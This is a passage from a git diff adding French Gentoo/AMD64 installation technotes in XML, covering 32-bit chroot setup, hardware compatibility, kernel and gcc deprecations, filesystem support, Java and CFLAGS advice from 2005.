+Pour mettre en place un environnement 32&nbsp;bits chrooté, vous devez tout
+d'abord créer un répertoire (ou une partition) dans laquelle vous placerez votre
+chroot. Ensuite, décompressez-y l'archive d'installation pour x86 (n'utilisez
+pas l'archive pour AMD64) et montez-y <path>/proc</path>. Ensuite, vous devez
+entrer dans le chroot. Cela se fait de la même manière que dans le manuel, sauf
+que vous devrez utiliser le programme «&nbsp;linux32&nbsp;» pour changer
+«&nbsp;uname -m&nbsp;» en «&nbsp;i686&nbsp;». Lancez donc cette commande&nbsp;:
+</p>
+
+<pre>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+</pre>
+
+<p>
+Vous êtes désormais dans le chroot et «&nbsp;uname -m&nbsp;» devrait vous donner
+la valeur «&nbsp;i686&nbsp;». Dans le fichier <path>make.conf</path>, vous
+pouvez utiliser, par exemple, ces paramètres&nbsp;:
+</p>
+
+<pre>
+CHOST="i686-pc-linux-gnu"
+CFLAGS="-O2 -march=athlon-xp -msse2 -msse -pipe"
+ACCEPT_KEYWORDS="~x86"
+</pre>
+
+<p>
+Une fois que gcc-3.4 sera installé, vous devriez pouvoir utiliser le paramètre
+-march=k8 pour utiliser les optimisations pour AMD64, mais il n'est pas spécifié
+dans le ChangeLog si ce paramètre est disponible également pour les compilations
+32&nbsp;bits.
+</p>
+
+<p>
+Continuez l'installation comme indiquée dans le manuel. Vous pouvez sauter la
+plupart des étapes après le stage3. Vous n'avez pas besoin de mettre en place un
+second noyau, un second système de journalisation ou d'événements. Mais vous
+devrez mettre en place les utilisateurs et les fichiers hosts et resolv.conf.
+Votre chroot 32&nbsp;bits sera alors prêt à l'emploi. Cela dit, vous ne pourrez
+pas utiliser de manière correcte les applications reposant sur le serveur X pour
+le moment.
+</p>
+
+<p>
+Les applications clientes du serveur X utilisent des sockets Unix pour
+communiquer avec le serveur X. Ces sockets sont des fichiers présents dans /tmp,
+mais le serveur X fonctionne en dehors du chroot. Cela signifie que les
+applications clientes dans le chroot ne peuvent pas accéder aux sockets Unix. Il
+y a deux moyens de contourner ce problème. Vous pouvez utiliser un socket TCP,
+mais ça ne donnera pas un résultat convenable niveau vitesse d'exécution. La
+meilleure solution est de monter /tmp dans le chroot. Cela peut se faire ainsi
+(à faire en dehors du chroot)&nbsp;:
+</p>
+
+<pre>
+# <i>mount -o bind /tmp /mnt/gentoo32/tmp</i>
+</pre>
+
+<p>
+Évidemment, vous devrez lancer <c>xhost local:localhost</c> avant de pouvoir
+vous connecter au serveur X à l'intérieur du chroot. Il est également possible
+de monter plus de répertoires de la même manière, pour économiser l'espace
+disque. De bons candidats seraient <path>/home</path>,
+<path>/usr/portage/distfiles</path> et <path>/usr/share</path>.
+</p>
+
+<p>
+Pour rentrer dans le chroot, utilisez la commande suivante pour mettre en place
+les variables d'environnement correctement&nbsp;:
+</p>
+
+<pre>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash --login</i>
+</pre>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/install-errata.xml b/xml/htdocs/proj/fr/base/amd64/technotes/install-errata.xml
new file mode 100644
index 00000000..f7e19726
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/install-errata.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/install-errata.xml,v 1.3 2005/04/18 09:49:35 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Errata important pour l'installation de Gentoo/AMD64</title>
+<body>
+
+<ul>
+  <li>
+    Les pilotes 64 bits pour les cartes vidéo ATI sont disponibles en
+    installant le paquet <c>ati-drivers</c>.
+  </li>
+  <li>Le système de fichiers reiser4 ne fonctionne pas sur AMD64.</li>
+  <li>Le noyau 2.4.x est officiellement désuet sur Gentoo/AMD64.</li>
+  <li>
+    gcc 3.3 est officiellement désuet dans la version 2004.3 pour les AMD64
+    seulement.
+  </li>
+  <li>
+    <path>sys-kernel/gentoo-sources</path> sont les seules sources de noyau
+    supportées sur Gentoo/AMD64.
+  </li>
+  <li>
+    Le support du Firewire ne fonctionnera pas si vous activez le noyau
+    préemptif sur les noyaux récents (>=2.6.4).
+  </li>
+  <li>
+    Un double environnement 32&nbsp;bits/64&nbsp;bits est possible, avec
+    quelques limitations.
+  </li>
+  <li>
+    N'ajoutez <b>JAMAIS</b> <c>x86</c> ou <c>~x86</c> à la variable
+    <c>ACCEPT_KEYWORDS</c>.
+  </li>
+  <li>
+    N'utilisez <b>JAMAIS</b> <c>-Os</c> dans vos paramètres CFLAGS sur une
+    plateforme AMD64.
+  </li>
+  <li>
+    Ajoutez en paramètre au noyau <c>idle=poll</c> au démarrage, si vous
+    avez des «&nbsp;kernel panic&nbsp;».
+  </li>
+  <li>
+    Les cartes SCSI MPT Fusion nécessitent de passer le paramètre
+    <c>iommu=merge</c> au noyau lors du démarrage pour fonctionner.
+  </li>
+  <li>
+    Vous devez avoir activé l'<c>émulation IA32</c> (IA32 Emulation) dans les
+    formats de fichiers exécutables (<path>Executable File Formats </path>) à la
+    compilation de votre noyau pour pouvoir faire fonctionner l'émulation
+    32&nbsp;bits (et le chroot 32&nbsp;bits).
+  </li>
+  <li>
+    OpenOffice doit être installé à partir des binaires
+    (<path>openoffice-bin</path>). Aucune version 64&nbsp;bits n'est
+    actuellement disponible.
+  </li>
+  <li>
+    Le LiveCD ne détecte pas automatiquement les cartes réseau 3Com 3c940. Vous
+    devez l'activer manuellement en faisant un <c>modprobe sk98lin</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/install-hardware.xml b/xml/htdocs/proj/fr/base/amd64/technotes/install-hardware.xml
new file mode 100644
index 00000000..c5b9d5c4
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/install-hardware.xml
@@ -0,0 +1,304 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/install-hardware.xml,v 1.2 2005/03/29 20:21:45 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-27</date>
+
+<section>
+<title>Mises à jour du BIOS</title>
+<body>
+
+<p>
+Plusieurs constructeurs de cartes mères pour AMD64 sont connus pour fournir des
+BIOS qui comportent de nombreux bogues. Assurez-vous de bien avoir fait une mise
+à jour de votre BIOS vers la dernière version disponible avant d'essayer
+d'installer Gentoo/AMD64. Vous pourrez résoudre certains problèmes en mettant à
+jour votre BIOS, notamment ceux qui concernent les réglages de la mémoire. De
+plus, vous pourrez bénéficier de nouvelles fonctionnalités pour AMD64 (comme le
+Cool'n'Quiet).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Contrôleurs RAID SATA/PATA</title>
+<subsection>
+<title>Contrôleurs, types et statuts</title>
+<body>
+
+<p>
+Voici une liste des statuts des contrôleurs RAID SATA/PATA communs&nbsp;:
+</p>
+
+<table>
+ <tr>
+  <th>Constructeur</th>
+  <th>Modèle</th>
+  <th>Type de RAID</th>
+  <th>Statut</th>
+ </tr>
+ <tr>
+  <ti>VIA</ti>
+  <ti>8237</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Promise</ti>
+  <ti>PDC202xx/PDC203xx</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Silicon Image</ti>
+  <ti>3112[a], 3512 et 3114</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Promise</ti>
+  <ti>SX4000 (PDC20621)</ti>
+  <ti>Matériel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>3Ware</ti>
+  <ti>Escalade 7xxx et 8xxx</ti>
+  <ti>Matériel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+</table>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Différences entre le RAID matériel et logiciel</title>
+<body>
+
+<p>
+Un contrôleur RAID matériel est toujours sur une carte supplémentaire à
+installer&nbsp;; il n'est jamais présent sur une carte mère. Il possède son
+propre BIOS, auquel vous pouvez accéder avant de démarrer votre système
+d'exploitation, et supporte, en général, au minimum, les types 0, 1,
+1&nbsp;+&nbsp;0 et 5. Le contrôleur RAID matériel possède un CPU dédié qui
+s'occupe de tous les calculs et des entrées/sorties qui concernent le
+RAID&nbsp;; il se signale au système d'exploitation tel que vous le configurez,
+c'est-à-dire que si vous configurez un simple RAID 5 sur trois disques, vous ne
+verrez sur votre système qu'un seul gros disque. Un RAID matériel sera toujours
+plus rapide qu'un RAID logiciel et consomme BEAUCOUP MOINS de temps processeur.
+Un contrôleur RAID matériel peut optionnellement être accompagné d'emplacements
+DIMM pour la mémoire cache et disposer d'une batterie de sauvegarde pour cette
+mémoire. Le RAID matériel limite également la complexité du pilote d'accès, dans
+la mesure où la fonctionnalité du RAID est effectuée exclusivement par le
+matériel.
+</p>
+
+<p>
+Un contrôleur RAID logiciel peut se trouver sur des cartes additionnelles ou
+encore sur certaines cartes mères. Un contrôleur logiciel peut ou non avoir un
+BIOS, mais, en fait, les fonctions propres au RAID sont implémentées par le
+pilote dans le système d'exploitation. Pour cette raison, vous ne trouverez
+JAMAIS de contrôleur RAID logiciel qui puisse supporter du RAID 5 sur lequel on
+puisse démarrer. Le système d'exploitation pourra voir chaque disque comme un
+disque normal qui ne sera pas masqué, ni transformé d'aucune manière par le
+contrôleur. Sur les noyaux 2.4, il y avait un module qui savait lire un bon
+nombre de BIOS de contrôleurs SATA. Ainsi, on pouvait mettre en place le RAID
+logiciel sous Linux comme spécifié par le BIOS et créer un pseudo périphérique
+qui était accessible exactement comme le serait un périphérique RAID matériel.
+Ce module «&nbsp;ataraid&nbsp;» n'a pas été porté sur les noyaux 2.6 et la
+version 2.4 ne supporte pas les contrôleurs SATA, mais seulement des vieux
+contrôleurs RAID logiciel PATA. En plus clair, un contrôleur RAID logiciel n'est
+rien d'autre qu'un contrôleur SATA/PATA standard avec éventuellement un BIOS qui
+stocke les informations de configuration. C'est pour cela qu'ils sont très peu
+chers à la fabrication et qu'on les trouve sur tant de cartes mères.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compatibilité des cartes Riser avec les cartes mères Tyan et les cartes
+3ware</title>
+<body>
+
+<p>
+Pour plus d'information sur la compatibilité des cartes Riser avec les cartes
+3ware et les cartes mères Tyan, merci de vous reporter à cet <uri
+link="http://www.3ware.com/KB/article.aspx?id=10964">article de la base de
+connaissances 3ware</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Questions d'ordre général sur les Opteron/Athlon64</title>
+<subsection>
+<title>Quelle est la différence entre un Athlon64, un Athlon64FX et un
+Opteron&nbsp;?</title>
+<body>
+
+<p>
+Un Athlon64 est un processeur pour ordinateurs de bureau qui possède 754 pattes
+et un seul canal de bus mémoire et qui ne peut être utilisé qu'en mode
+monoprocesseur. Un Athlon64FX est un processeur conçu pour les stations de
+travail qui possède 940 pattes et un double canal de bus mémoire&nbsp;: il ne
+peut également être utilisé qu'en mode monoprocesseur. Un Opteron est un
+processeur pour serveurs qui possède 940 pattes et un double canal de bus
+mémoire. L'Opteron est présenté sous trois formes&nbsp;: les séries 1xx pour des
+systèmes monoprocesseur, les 2xx pour des systèmes biprocesseurs  et les séries
+8xx pour des systèmes qui vont jusqu'à huit processeurs (ou plus si on dispose
+d'un contrôleur intermédiaire). Ces variantes n'indiquent pas de différence dans
+la vitesse et reflètent généralement seulement le nombre de bus d'hypertransport
+actifs sur la puce. Toutes les puces ont les mêmes caractéristiques en termes de
+performances (mises à part les capacités de bus mémoire et la taille du cache
+qui peut avoir un effet sur les performances) et un Ahtlon64FX n'est rien
+d'autre qu'un Opteron de série 1xx. Dans le futur, le support à 754 pattes sera
+remplacé par des supports à 939 pattes, qui seront alors utilisés pour les
+Athlon64 et Athlon64FX.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Pourquoi les Athlon64 3200+ et Athlon64 3000+ sont cadencés à la même
+vitesse CPU&nbsp;?</title>
+<body>
+
+<p>
+L'Athlon64 3000+ a moitié moins de cache (512K) que l'Athlon64 3200+
+(1Mo). Cela rentre en compte dans la réduction de la fréquence (cette
+différence de performance est en pratique de l'ordre de moins de 5%).
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les applications 32&nbsp;bits sont-elles supportées&nbsp;? Est-ce natif
+ou émulé&nbsp;?</title>
+<body>
+
+<p>
+Oui, les applications 32&nbsp;bits sont complètement supportées par le
+processeur et sont exécutées de manière native. Un système d'exploitation
+standard pour plate-forme x86 peut être installé sur une machine qui possède un
+processeur AMD64 et un système d'exploitation 64&nbsp;bits peut exécuter des
+applications 32&nbsp;bits s'il est capable d'établir une correspondance entre
+les appels systèmes 32&nbsp;bits et les interfaces 64&nbsp;bits du noyau (comme
+Linux peut le faire si vous l'activez dans le noyau). Pour plus d'information,
+merci de lire la section ci-dessous qui concerne le support du 32&nbsp;bits.
+Remarquez aussi qu'il n'y a aucune pénalité, en termes de performances, dans le
+fait de lancer des applications 32&nbsp;bits sur un processeur de type AMD64 et
+la vitesse d'exécution sera toujours supérieure à celle obtenue sur un AthlonXP
+qui utilise du code 32&nbsp;bits (ce qui n'est pas le cas des processeurs IA64
+Itanium&nbsp;!).
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Contrôleurs SCSI MPT Fusion</title>
+<body>
+
+<p>
+Pour faire fonctionner un contrôleur SCSI, vous devrez passer l'option suivante
+au noyau au moment du démarrage&nbsp;:
+</p>
+
+<pre>
+iommu=merge
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Support de l'accélération vidéo 3D</title>
+<subsection>
+<title>Cartes ATI Radeon</title>
+<body>
+
+<p>
+ATI a finalement sorti des pilotes 64&nbsp;bits pour les cartes Radeon
+supérieures à 9200. Utilisez la commande <c>ACCEPT_KEYWORDS="~amd64" emerge
+ati-drivers</c> pour les installer. Si les pilotes propriétaires ne
+fonctionnent pas, nous vous suggérons alors d'essayer le pilote libre "radeon"
+inclus avec xorg. Cela dit, ce pilote n'inclura que le support de
+l'accélération 2D.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>nVidia GeForce</title>
+<body>
+
+<p>
+nVidia a sorti des pilotes pour AMD64. Gentoo dispose d'ebuilds pour ceux-ci.
+Pour installer le support nvidia, il vous suffit de faire&nbsp;:
+</p>
+
+<pre>
+# <i>emerge nvidia-kernel</i>
+# <i>emerge nvidia-glx</i>
+# <i>emerge nvidia-settings</i>
+</pre>
+
+<p>
+Vous trouverez plus de détails à propos de l'utilisation de ces cartes dans
+notre <uri link="/doc/fr/nvidia-guide.xml">Guide nVidia</uri>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les cartes Matrox</title>
+<body>
+
+<p>
+Bien que les cartes récentes de Matrox ont besoin du pilote propriétaire
+<c>mga_hal</c> pour activer le support multi-écran ou la capture vidéo, le
+module standard <c>mga</c> donne parfois de bons résultats. Matrox n'a toujours
+pas sortie de version 64 bits de ses pilotes propriétaires et nons ne savons
+pas quand ils seront disponibles. Les fonctionnalités disponibles peuvent
+varier de façon importante et votre carte Matrox peut très bien ne pas marcher
+du tout. Il est fortement conseillé de tester les modules disponibles.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Pilotes réseau bcm/tigon3</title>
+<body>
+
+<p>
+Plusieurs cartes mères pour Opteron fournissent une puce Broadcom qui gère
+l'interface réseau. Pour supporter cette carte, nous proposons le pilote
+standard du noyau «&nbsp;tg3&nbsp;», mais aussi le pilote «&nbsp;bcm5700&nbsp;».
+Le pilote «&nbsp;tg3&nbsp;» devrait être utilisé dans la mesure du possible,
+puisqu'il est supporté par la communauté, et le pilote «&nbsp;bcm5700&nbsp;»
+n'est là que pour aider ceux qui rencontrent des problèmes avec le pilote
+«&nbsp;tg3&nbsp;».
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/install-intro.xml b/xml/htdocs/proj/fr/base/amd64/technotes/install-intro.xml
new file mode 100644
index 00000000..42b5bc92
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/install-intro.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/install-intro.xml,v 1.2 2005/03/29 20:21:45 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Introduction</title>
+<subsection>
+<title>À propos des notes d'installation de Gentoo/AMD64</title>
+<body>
+
+<p>
+Les notes d'installation de Gentoo/AMD64 sont destinées à être utilisées lors de
+l'installation et de l'utilisation courante de Gentoo sur architecture AMD64.
+Vous devriez lire ces notes techniques dans leur intégralité avant d'essayer
+d'installer Gentoo/AMD64.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/install-software.xml b/xml/htdocs/proj/fr/base/amd64/technotes/install-software.xml
new file mode 100644
index 00000000..a43f1140
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/install-software.xml
@@ -0,0 +1,430 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/install-software.xml,v 1.3 2005/06/05 12:44:26 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Noyaux disponibles</title>
+<subsection>
+<title>Sur le LiveCD</title>
+<body>
+
+<p>
+Pour ce qui est de la version 2004.3, le LiveCD contient un noyau sur lequel
+vous pouvez démarrer. Ce noyau s'appelle <c>gentoo</c> et supporte le SMP. Cela
+dit, les machines monoprocesseurs peuvent également l'utiliser.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Utiliser les bonnes sources de noyau</title>
+<body>
+
+<impo>
+Utilisez la série de noyaux <path>sys-kernel/gentoo-sources</path>&nbsp;!
+Elle contient des correctifs spécifiques aux AMD64, ainsi qu'un certain nombre
+d'améliorations supplémentaires. Nous ne pourrons pas vous aider si vous
+utilisez d'autres sources.
+</impo>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Construire un noyau pour un portable eMachine</title>
+<body>
+
+<p>
+Quand vous configurez le noyau pour être utilisé sur un portable Athlon64 Mobile
+de type eMachine, vous <e>devez</e> compiler le support USB dans le noyau et non
+en module. Si vous ne le faites pas, vous aurez des erreurs de type
+«&nbsp;unknown keypress&nbsp;» de la part de <path>atkbd.c</path>. Désactiver le
+support USB ne fonctionnera pas.
+</p>
+
+<p>
+Les rapports de bon ou mauvais fonctionnement de ces portables sur la version
+2004.3 sont à soumettre sur le <uri link="http://bugs.gentoo.org">bugzilla de
+Gentoo</uri>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les noyaux 2.4.x officiellement désuets</title>
+<body>
+
+<p>
+<b>La série des noyaux 2.4.x est officiellement déclarée désuète pour les
+AMD64.</b> Depuis le 2.4.23-pre7, devfs a été désactivé (en dur dans le noyau),
+car il était la cause de corruption de mémoire. Chez Gentoo, nous n'avons pas
+remarqué de tels problèmes, mais les 2.4 ne sont de toute façon pas une bonne
+solution sur Gentoo sans le devfs.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>gcc 3.3 officiellement désuet</title>
+<body>
+
+<p>
+<b>gcc3.3 est officiellement désuet pour les AMD64, depuis la sortie de Gentoo
+2004.3.</b> Tous les supports de la 2004.3 sont basés sur gcc 3.4.x.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Kernel Panic au démarrage</title>
+<body>
+
+<p>
+Si vous avez des «&nbsp;Kernel Panic&nbsp;» au démarrage, essayez d'utiliser le
+paramètre <c>idle=poll</c> dans les options de démarrage. Il y a un problème
+avec plusieurs BIOS et il semble que cela touche principalement les cartes mères
+à chipset VIA. Vous ne devez essayer de passer cette option au démarrage
+qu'<e>après</e> avoir mis à jour votre BIOS vers la dernière version disponible
+de votre constructeur de carte mère. Vous devriez également pouvoir résoudre ce
+problème en désactivant le support USB au démarrage dans votre BIOS. Si vous
+êtes obligé de mettre l'option <c>idle=poll</c>, merci de contacter votre
+constructeur de carte mère ou fournisseur de BIOS pour qu'il corrige le BIOS sur
+l'erreur de CPU N°93 (CPU Errata #93).
+</p>
+
+<p>
+Pour plus d'information sur ce point, vous pouvez consulter les archives des
+listes de diffusion suivantes&nbsp;:
+</p>
+
+<ul>
+ <li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0031.html</uri></li>
+ <li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0034.html</uri></li>
+</ul>
+
+<p>
+Vous remarquerez que ce n'est pas un problème spécifique à Gentoo&nbsp;!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Support des systèmes de fichiers</title>
+<body>
+
+<p>
+Nous vous recommandons actuellement d'utiliser les formats ext2/3. Nous avons
+des rapports qui indiquent des problèmes aléatoires avec le reiserfs sur AMD64
+et avons entendu parler de problèmes majeurs avec le JFS sur des systèmes
+64&nbsp;bits (ce qui semble réellement étrange, dans la mesure où le JFS a été
+initialement conçu pour des systèmes 64&nbsp;bits).
+</p>
+
+<table>
+ <tr>
+  <th>Système de fichiers</th>
+  <th>Statut</th>
+ </tr>
+ <tr>
+  <ti>ext2</ti>
+  <ti>STABLE</ti>
+ </tr>
+ <tr>
+  <ti>ext3</ti>
+  <ti>STABLE</ti>
+ </tr>
+ <tr>
+  <ti>XFS</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.3</ti>
+ </tr>
+ <tr>
+  <ti>JFS</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.7</ti>
+ </tr>
+ <tr>
+  <ti>reiserfs</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.5</ti>
+ </tr>
+ <tr>
+  <ti>reiser4</ti>
+  <ti>NE FONCTIONNE PAS SUR AMD64, N'EST SUPPORTÉ SUR AUCUNE ARCHITECTURE&nbsp;!</ti>
+ </tr>
+</table>
+
+<p>
+Merci de nous rapporter tous les problèmes rencontrés avec vos systèmes de
+fichiers sur <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Le gestionnaire de démarrage&nbsp;: Compilation de grub</title>
+<body>
+
+<p>
+Grub ne se compile pas dans un environnement 64&nbsp;bits pur. Il ne pourra être
+compilé qu'en utilisant gcc avec le support multilib. Gentoo 2004.3 inclut le
+support multilib par défaut. Si vous choisissez de supprimer le support
+multilib pour gcc, alors vous devrez utiliser <c>grub-static</c>.
+<c>grub-static</c> peut être installé en utilisant les commandes
+suivantes&nbsp;:
+</p>
+
+<pre>
+# <i>emerge grub-static</i>
+# <i>cp -Rpv /usr/share/grub/i386-pc/* /boot/grub</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Certains paquets sont toujours masqués</title>
+<body>
+
+<p>
+Certains paquets marqués stables sur d'autres architectures sont toujours
+masqués sur AMD64. Cela ne signifie pas forcément qu'ils ne fonctionnent pas,
+mais que, simplement, aucun développeur Gentoo n'a pu les tester sur une machine
+AMD64. Si vous le pouvez, merci de tester ces applications masquées et de <uri
+link="http://bugs.gentoo.org">soumettre un rapport de bogue</uri> pour informer
+les développeurs que le paquet fonctionne ou pas.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Les paquets qui ne fonctionnent pas</title>
+<body>
+
+<p>
+Ne fonctionnent actuellement pas&nbsp;:
+</p>
+
+<ul>
+ <li>Firebird (la base de données, PAS le navigateur).</li>
+</ul>
+
+<p>
+Les applications qui ne fonctionnent pas en mode 64&nbsp;bits, mais qui
+fonctionnent en mode 32&nbsp;bits, en supposant que
+app-emulation/emul-linux-x86-baselibs et compagnie soient installés&nbsp;:
+</p>
+
+<ul>
+ <li>
+  Tout programme qui utilise des DLL 32&nbsp;bits qui viennent de Windows (comme
+  le support de mplayer/xine pour certains formats propriétaires).
+ </li>
+ <li>
+  Tous les programmes qui nécessitent un code assembleur en 32&nbsp;bits.
+ </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Le support de Java</title>
+<body>
+
+<p>
+Blackdown a sorti une version de Java pour Linux sur AMD64 en 64&nbsp;bits
+natif. C'est une candidate de sortie donc n'espérez pas qu'elle soit parfaite.
+Elle se trouve dans Portage en tant que <path>blackdown-jdk-1.4.2</path> et
+<path>blackdown-jre-1.4.2</path>.
+</p>
+
+<p>
+Certaines personnes ont remarqué que la machine virtuelle Java 64&nbsp;bits est
+plus lente que la version 32&nbsp;bits. Juergen Kreileder, du projet Blackdown,
+a apporté une réponse à cette remarque&nbsp;:
+</p>
+
+<pre>
+Actuellement, la machine virtuelle 64&nbsp;bits est plus rapide que la
+32&nbsp;bits dans la plupart des tests effectués.
+
+La différence que ces personnes ont remarqué doit probablement
+provenir de l'utilisation de machines virtuelles différentes :
+La version i386 est fournie avec le client de machine virtuelle
+HotSpot et le serveur HotSpot associé, et la machine virtuelle
+client est utilisée par défaut. La version AMD64 n'est accompagnée
+que du serveur de machine virtuelle, le client n'a pas encore été
+porté.
+
+En général, le serveur est la machine virtuelle la plus rapide. Ses
+compilateurs utilisent plus d'optimisations et sont plus aggressifs
+que ceux de la machine virtuelle client. Il génère en général un
+code bien meilleur.
+La contrepartie est que ces optimisations ont un coût en temps CPU
+et en mémoire. Ce qui fera que lancer du code dans la machine
+virtuelle client est souvent plus rapide (au moins au début) que
+sur la machine virtuelle serveur.
+
+En d'autres termes : il n'est pas correct de comparer le client i386
+avec le serveur AMD64. Vous devez comparer le serveur i386 (c'est à
+dire « java -server ... ») avec le serveur AMD64.
+</pre>
+
+<p>
+Il a également répondu à une question portant sur le temps d'attente à
+espérer avant de pouvoir disposer de la machine virtuelle client&nbsp;:
+</p>
+
+<pre>
+Elle ne sera pas présente dans la version finale de la 1.4.2. Ce ne
+sera peut-être pas pour la 1.5.0 (pour Sun et Blackdown), Sun est
+content de son port du serveur et n'est pas vraiment intéressé par
+sortir un portage du client (les autres machines virtuelles 64 bits
+pour IA64 et SPARC64 disposent également uniquement du serveur). De
+plus, c'est trop de travail (je dirais dans les 10-13 semaines/homme)
+pour le faire sans rémunération.
+</pre>
+
+<p>
+Donc si vous voulez lancer des tests, soyez sport, utilisez «&nbsp;java
+-server&nbsp;» sur les deux architectures concernées et n'espérez pas avoir une
+version de machine virtuelle client d'ici un petit bout de temps.
+</p>
+
+<p>
+Une fois que vous aurez installé java, le lien symbolique suivant est nécessaire
+pour pouvoir l'utiliser avec mozilla (et probablement aussi konqueror)&nbsp;:
+</p>
+
+<pre>
+/usr/lib/nsbrowser/plugins/libjavaplugin_oji.so -> \
+/opt/blackdown-jdk-1.4.2_rc1/jre/plugin/amd64/mozilla/libjavaplugin_oji.so
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Installer OpenOffice.org</title>
+<body>
+
+<p>
+OpenOffice.org n'est actuellement disponible qu'en binaire 32&nbsp;bits, dans la
+mesure où la version 1.1.x ne se compilera pas sur un AMD64. Pour installer
+OpenOffice.org, installez le paquet <path>app-office/openoffice-bin</path>.
+</p>
+
+<note>
+N'espérez même pas essayer de compiler OpenOffice.org à partir des sources.
+C'est un effort vain qui ne vous mènera qu'à des nuits blanches inutiles.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Configurer correctement les paramètres CFLAGS</title>
+<body>
+
+<p>
+À la différence de gcc 3.3, gcc 3.4 demande que l'on utilise -march. Les
+paramètres CFLAGS les plus appropriés pourraient être ceux-ci&nbsp;:
+</p>
+
+<pre caption="gcc-3.4 CFLAGS">
+...
+CFLAGS="-march=k8 -O2 -pipe"
+...
+</pre>
+
+<note>
+<c>-march=k8</c> est équivalent à <c>-march=athlon64</c> qui lui même l'est à
+<c>-march=opteron</c>.
+</note>
+
+<p>
+Il arrive qu'il y ait des problèmes avec la construction des objets partagés si
+on omet le paramètre <c>-fPIC</c>. La raison est expliquée sur ce message de
+liste de diffusion&nbsp;: <uri
+link="http://www.x86-64.org/lists/discuss/msg02621.html">Porting to Hammer</uri>
+-- Descendez à «&nbsp;Shared libraries must be compiled with -fPIC&nbsp;». Si
+vous trouvez des paquets qui ont besoin du paramètre <c>-fPIC</c> pour être
+lancés/liés correctement, merci de nous les indiquer immédiatement, afin que
+l'on puisse mettre à jour ces paquets. Merci de ne pas spécifier <c>-fPIC</c>
+dans vos paramètres généraux CFLAGS dans la mesure où ce n'est pas une solution
+acceptable, mais juste une petite astuce de contournement.
+</p>
+
+<p>
